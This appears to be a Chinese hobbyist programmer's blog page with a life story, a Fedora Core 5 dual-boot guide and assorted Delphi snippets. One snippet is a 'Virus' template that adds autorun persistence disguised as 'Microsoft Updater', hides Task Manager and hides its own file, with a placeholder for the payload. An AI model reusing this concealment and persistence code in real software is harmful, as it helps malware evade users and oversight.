小小InvXp

经过师傅大人的一番魔鬼训练之后,发现了好多神秘的东西.....
路还很长,踏踏实实一步一步来吧>.<

人生感悟

偶是一个普通家庭出身，小时候就很喜欢钻牛角尖，喜欢打游戏，在小学的某一天突然接触了电脑这东西。于是在大概5年级左右就买了一台8位的学习机，其中也带键盘，但是没有鼠标这东西，开始玩：）出于好奇，只有模拟的DOS，模拟的QuickBasic的东西，发现这个模拟QuickBasic很好玩，就照着书中的代码原般不动的抄写，虽然很辛苦，但是写完了执行发现很好玩，就这样，有着DOS基础的我就步入了中学时代。。。

中学浑浑噩噩的就这么走了过来，当中一直没有接触什么高级的东西，还是我的那个学习机，偶然的一天接触了真正的586 PC机，真正的DOS，有鼠标，但是那个时候很少用过鼠标，没有什么Windows操作系统，最后玩了玩感觉PC更有意思了，当然是在亲戚家，毕竟不是自己的电脑，稍微玩了玩就过去了。初三毕业的时候就已经有网络聊天这么一说了，聊过一阵，申请过邮箱，也有ICO，（号码忘了。。）以及现在一直用的OICQ就这样到了中专时代。。

中专可以对我来说是一个转折点，虽然专业选的不好，但是最后还是出于爱好，买了计算机，当时的配置还不错呢，已经是Windows98操作系统了
，一开始只是会装一些软件，连驱动都不知道是怎么回事，慢慢的慢慢的，接触到了VisualBasic6.0，经过一番学习后写了一些程序，其实也不叫写，就是抄了一些程序，但是其中就有了一些自己的想法。。。并不是完全按照书中那样照抄，当时很流行QQ聊天室，其中有个程序员驿站记得很清楚，里面有什么不会的可以去问，有许多热心的朋友帮助解决^^。在这个过程中学到了好多以前不知道的东西，最深刻的还是WindowsAPI，WindowsRegistry。当自己已经熟悉使用API和REG的时候，就开始模仿Windows优化大师这类软件了，实现时候感觉虽然做的很垃圾，但是比较好玩，用过一段VB时间以后，感觉限制的东西太多，还是自己的能力不行，所以就很少用VB写东西了。在某一天，遇到了一个人：“用Delphi吧”，于是我就又开始进入Delphi6.0的世界，经过自学一段时间以后，自己写了一些小程序，都是很垃圾的。。。也没有什么技术含量，感觉做程序真的不是想象的那么简单，突然就想到向往当程序员了，就这样，慢慢的慢慢的，接触了很多其他东西，就这样中专时代过去了。

实习阶段在一家电脑硬件公...

阅读全文...

话说这东西刚出不久，尤其是偶们菜鸟滴最爱，仗着单位机器配置比较高，所以拿来当试验品咯。
话不多说,Let's go.

1:分区,找个PQ,新建一个主分区,给他划出了15G,然后在把分区删除,等于是未分配的15G硬盘空间^^

2:下载WinGrub..(官方在这里^^http://grub4dos.sourceforge.net/)
东西我就不教你怎么用了,如果你想装Linux肯定就会一些最基本的应用软件水平.
安装之后Tools->Install Grub然后把她安装在BOOT.INI,Tile随意,TimeOut是倒计时Interger类型

3:找到FC5的DVDISO或CDISO,把第一张盘里面的initrd.img和vmlinuz解开,放到一个比较简单的FAT32目录里面 (我的是D:\linux)
然后在打开Wingrub Tools->Partition list 获得D盘的HDA信息,啥盘无所谓,我的D盘是(hd0,2)
在把你的光盘放到一个比较简单的FAT32目录里面(我的还是D:\linux),等于我的D:\linux目录有三个文件(initrd.img,vmlinuz,fc5dvd.iso)

4:开始修改,进入C:\Gurb文件夹,有个Menu.LST,编辑她,如果你的系统和正常人一样的话应该是

timeout 10

title Windows at (hd0,0)
root (hd0,0)
chainloader +1

这个样子的,我们在她下面在加三行^^

title Install FC5
kernel (hd0,2)/linux/vmlinuz
initrd (hd0,2)/linux/initrd.img

注意目录的大小写...编辑保存之后就可以重新启动计算机了,然后启动的时候选择WinGrub的菜单,Title是你自己起的,进去就是了
然后就开始选择安装路径,确定一下位置就可以了,最好FC5光盘位置不要在目录深处.
然后分区的时候选择自动分区,使用未剩余未使用的硬盘安装,找到刚才划出来的15G空间就可以了
以下FC5安装完毕

等都装好之后如果一路都是默认下来在重新启动计算机之后就会出现FC5
在系统菜单那3秒钟任意按键选择Other的话就会进入原来你的操作系统^^
就此双系统安装完毕

5:安装完毕后找不到鼠标,没...

阅读全文...

program Virus;

uses
Windows,
Registry;
var
NewFile:pChar;
Reg:TRegistry;
Label VirusFunc;
Begin
VirusFunc:
Try
NewFile:='C:\Command.Com' or anyName;
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',True);
Reg.WriteString('Microsoft Updater' or anyName,NewFile);
IF (FindWindow (nil,'Windows 任务管理器'))<>0 Then ShowWindow (FindWindow (nil,'Windows 任务管理器'),SW_HIDE);
SetFileAttributes (pChar(ParamStr(0)),FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM);// 让自己隐藏^^
{Place Your Virus Funcs}
Finally
End;
Goto VirusFunc;

end.

如果某程序传入参数,则该程序启动的时候可以获得传入的参数^^
现在都玩直接双击不能运行这一快,我抓你参数,看你杂拌,嘿嘿
procedure TfrmMain.FormCreate(Sender: TObject);
Var I:Integer;
begin
For I:=1 To ParamCount do
Begin
Memo.Lines.Add(ParamStr(I))
end;
end;

function GetAnimation: Boolean;
var
Info: TAnimationInfo;
begin
Info.cbSize := SizeOf(TAnimationInfo);
if SystemParametersInfo(SPI_GETANIMATION, SizeOf(Info), @Info, 0) then
Result := Info.iMinAnimate <> 0 else
Result := False;
end;

function DynamicResolution(X, Y,Freq: word): BOOL;
var
lpDevMode: TDeviceMode;
begin
Result := EnumDisplaySettings(nil, 0, lpDevMode);
if Result then
begin
lpDevMode.dmFields := DM_PELSWIDTH Or DM_PELSHEIGHT Or DM_DISPLAYFREQUENCY;
lpDevMode.dmPelsWidth := X;
lpDevMode.dmPelsHeight := Y;
lpDevMode.dmDisplayFrequency:= Freq;
Result := ChangeDisplaySettings(lpDevMode, CDS_UPDATEREGISTRY) = DISP_CHANGE_SUCCESSFUL;
end;
end;

procedure SetAnimation(Value: Boolean);
var
Info: TAnimationInfo;
begin
Info.cbSize := SizeOf(TAnimationInfo);
BOOL(Info.iMinAnimate) := Value;
SystemParametersInfo(SPI_SETANIMATION, SizeOf(Info), @Info, 0);
end;

procedure ShowWinNoAnimate(Handle: HWnd; CmdShow: Integer);
...

阅读全文...

Type
TUpdate = class(TThread)
protected
procedure Execute;override ;
End;

Var
Upd:TThread;

When On Events

Upd:=TUpdate.Create(False);
Upd.FreeOnTerminate:=True;

Procedure TUpdate.Execute;
var
hUpd: TMemoryStream;
begin
try
hUpd:=TMemoryStream.Create;
IdHttp.Get(YourFile,hUpd);
Application.ProcessMessages;
hUpd.SaveToFile(YourFile);
hUpd.Free;
finally
IDHttp.Disconnect;
Upd.Suspend;
Upd.Terminate;
end;
end.

嘿嘿,终于有了自己的Blog
本来是进了大富翁的Delphi群,没想到遇见了今生第一个师父^^
感谢大富翁论坛,也感谢Delphi群的群主